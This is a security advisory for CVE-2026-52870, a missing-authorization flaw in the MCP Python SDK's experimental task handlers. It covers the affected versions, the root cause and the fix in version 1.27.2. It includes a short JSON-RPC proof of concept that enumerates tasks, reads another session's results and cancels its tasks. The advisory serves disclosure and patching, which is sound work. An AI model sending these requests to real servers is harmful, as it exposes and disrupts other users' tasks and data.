high · 7.6CVE-2026-52870Jul 16, 2026

CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers

Shubham Kandhare
Security Engagement Manager, SecureLayer7

When a multi-client MCP server enables the experimental tasks feature, any connected client can list, read, and cancel tasks that belong to other clients, including intercepting sensitive elicitation

Packagemcp
Ecosystempip
Affected>= 1.23.0, <= 1.27.1
Fixed in1.27.2

The problem

MCP Python SDK versions 1.23.0 through 1.27.1 register default handlers for `tasks/list`, `tasks/get`, `tasks/result`, and `tasks/cancel` when a server calls `server.experimental.enable_tasks()`. None of these handlers checked which session originally created a task.

Because `tasks/list` returned every task in the global store, an attacker-controlled client could enumerate all task IDs without knowing them in advance, then use those IDs to read results, drain queued elicitation messages (removing them before the legitimate owner receives them), and cancel any in-flight task.

The issue only affects servers that call `enable_tasks()` and accept more than one concurrent client.

Proof of concept

A working proof-of-concept for CVE-2026-52870 in mcp, with the exact payload below.

json
# Step 1: enumerate all tasks on the server (no session filter in affected versions)
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tasks/list",
  "params": {}
}

# Step 2: read another session's task result using an ID from the list above
{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tasks/result",
  "params": { "id": "<task_id_from_step_1>" }
}

# Step 3: cancel another session's task
{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tasks/cancel",
  "params": { "id": "<task_id_from_step_1>" }
}

The root cause is CWE-862 (Missing Authorization). The handlers stored tasks in a flat, server-wide store keyed only by task ID. Nothing in the `tasks/list`, `tasks/get`, `tasks/result`, or `tasks/cancel` request paths compared the requesting session's identity against the session that called `run_task()`.

PR #2720 ("Scope experimental tasks to the session that created them") fixed this by embedding an opaque per-session marker inside every task ID generated by `run_task()`. The default handlers now extract that marker and reject requests where it does not match the current session, returning a "task not found" error. `tasks/list` was also narrowed to return only the tasks owned by the requesting session.

The fix

Upgrade to mcp 1.27.2 or later (`pip install --upgrade mcp`). If you cannot upgrade immediately, either avoid calling `server.experimental.enable_tasks()` or replace the default handlers with custom ones that enforce session ownership. Servers that never call `enable_tasks()` are not affected.

Reported by Max Isbey (maxisbey).

References: [1][2][3][4][5][6]

Related research